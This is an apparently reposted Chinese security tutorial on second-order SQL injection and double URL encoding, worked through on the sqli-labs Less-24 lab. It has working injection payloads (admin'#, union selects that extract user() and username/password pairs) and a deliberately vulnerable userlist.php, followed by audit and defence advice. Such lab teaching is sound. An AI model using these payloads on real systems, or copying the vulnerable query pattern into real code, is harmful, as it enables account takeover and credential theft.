SQL注入之二次注入实战
原创
炫彩之星
炫彩之星
菜鸟学安全
2026年11月9日 08:30
广东
去阅读
你转义了输入,但它还会从数据库里再出来一次
常规注入打不动的时候,很多人第一反应是“有 WAF、有过滤,注入这条路算了”。但有一种注入根本不在第一层:你输入的脏字符串被原样存进数据库,等某个列表页、详情页或者重置密码功能把它读出来,再拼进下一条 SQL——这时候没有任何过滤,因为系统默认“从自己库里读出来的数据是干净的”。这就是二次注入,扫描器扫不到它,因为两次请求单独看都是正常业务。
还有一层更隐蔽的,叫二次编码:入口把 %27 过滤了,但 urldecode 放在了转义之后调用,你传 %2527,第一层解码成 %27 顺利通过校验,第二层再解一次就变成了 '。
这篇用 sqli-labs 的 Less-24 走一遍完整链路:注册一个 admin'#,重置密码时把 admin 的密码改掉;再改代码加一个 userlist.php,把真实环境里“从库里取值再拼接”的场景搭出来,最后用 union 直接把用户名和密码拖出来。
一、什么是二次注入和二次编码
简单地说,二次注入是指已存储(数据库、文件)的用户输入被读取后,再次进入 SQL 查询语句所导致的注入。网站对我们输入的一些重要关键字做了转义,但我们构造的语句已经写进数据库,可以在没有被转义的地方使用。可能每一次注入都不构成漏洞,但如果串起来用,就可能造成注入。
普通注入:
(1)在 http 后面构造语句,立即直接生效;
(2)很容易被扫描工具扫到。
二次注入:
(1)先构造语句(带被转义字符的语句);
(2)恶意语句存入数据库;
(3)第二次构造语句,结合前面已经存入数据库的语句,成功——因为系统没有对已经存入数据库的数据再做检查;
(4)更加难以被发现。
二次编码这里没有实验演示,因为靶场没有相应的练习,简单介绍一下原理:当我们输入 %2527 时,浏览器会把 %25 解码为 %,之后不再编码,最终成为 %27;再经过一次解码就变成了 ',注入就成立了(%27 == ')。
方法是在注入点后键入 %2527,然后按正常的注入流程开始注入。
测试方法:
黑盒测试——在可能的注入点后键入 %2527,之后进行注入测试。
白盒测试——1、是否使用了 urldecode 函数;2、urldecode 函数是否在转义方法之后调用。
二、二次注入
1. 二次注入方法
我们用 sqli-labs 24 关练习,是一个登录界面,随便登录一个用户 admin,出现报错了。
我们重新创建一个账号看看,注册 admin'#:
账号注册成功,重置密码成功:
这时看到 admin 账号的密码变为了 1234——admin'# 这个账号的密码本来是 123,重置时改成了 1234,但实际被改的是 admin。这就是注入代码后未经过处理、被二次利用的结果:# 后面的内容被注释掉,' 与前面的 ' 闭合,重置语句直接作用到了 admin 身上。
2. 二次注入环境搭建获取数据库信息
上面的实验不太能体现二次注入的真实环境,我们改代码搭建环境做更深层的练习。
(1)先把 users 表中的 username 字段改大点,便于注入语句,在 mysql 终端执行:
alter table users change username username varchar(255) character set gbk collate gbk_chinese_ci not null;
(2)在 sqli-labs 的 24 关目录下新增 userlist.php,文件内容如下:
<?php
include(\"../sql-connections/sql-connect.php\");
error_reporting(0);
$sql=\"SELECT * FROM users ORDER BY id asc\";
$result=mysql_query($sql);
$num=mysql_num_rows($result);
for($j=0;$j<$num;++$j)
{
$row=mysql_fetch_array($result);
$username=$row[1];
$sql_detail=\"SELECT * FROM users where username='$username'\";
$result_detail=mysql_query($sql_detail);
$num_detail=mysql_num_rows($result_detail);
for($i=0;$i<$num_detail;++$i)
\t\t{
$row_detail=mysql_fetch_array($result_detail);
\t\techo <<<END
<table border=\"1\" style=\"table-layout:fixed;\" width=\"1000\">
<tr>
<th>$row_detail[1]</th>
<th>$row_detail[2]</th>
</tr>
</table>
END;
}
}
?>
(3)做实验前先对 userlist.php 的代码做一次审计:
注入点就在这里——从数据库取出的 username 被直接拼进了下一条查询:
$username = $row[1];
$sql_detail = \"SELECT * FROM users WHERE username='$username'\"; // 注入点
在注册页面注册一个新用户,用户名填:
1' union select 1,user(),3#
打开 userlist.php:http://192.168.222.4/sqli-labs/Less-24/userlist.php
当前数据库用户的信息出现了。原理按代码推一遍就明白:
$username = 1' union select 1,user(),3#;
$sql_detail = \"SELECT * FROM users where username='1' union select 1,user(),3#'\";
最终执行:SELECT * FROM users where username='1' union select 1,user(),3#
实际执行到 # 就结束了,后面那个 ' 被注释掉,回显 1,root@localhost,3。
最后再注入一次,把表里的数据拖出来,同样先注册:
1' union select 1,(select concat(0x7e,username,0x7e,password) from security.users limit 0,1),3#
成功获取数据,实验结束。
写在最后
二次注入最难受的地方在于它绕开了所有人的直觉:扫描器只在单个请求里找特征,而这里的两次请求拆开看都干净得像正常业务;开发人员做了转义,只不过转义只发生在入口那一层。脏数据一旦落库,它就被默认为可信,后面每一次被取出、拼接、再执行,都没有人再检查它。
所以这类漏洞更多靠人而不是靠工具。白盒视角,先在代码里找“从数据库取值后直接拼进 SQL”的地方,$username = $row[1] 后面紧跟一个 SELECT ... where username='$username' 就是教科书式的靶点;黑盒视角,记住两个动作——注册或提交时用 '# 这种闭合符试一次,然后在列表、详情、重置密码这些“二次回显”的地方逐个看,有没有报错、有没有字段串位、有没有本该显示 A 的数据变成了 B。
防御上就三件事:全链路参数化,出口也算入口,别只守第一层;urldecode 的顺序别放反,解码必须发生在校验之前;把所有 SQL 报错关掉,别让 0x7e 这种拼接结果直接从页面漏出来。
转义从来不是终点,它只是第一道门。真正的安全边界,得把“数据从库里回来”也算进去。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。







![[1109]一周重点情报汇总|天际友盟情报站"](/images/random/titlepic/1.jpg)

评论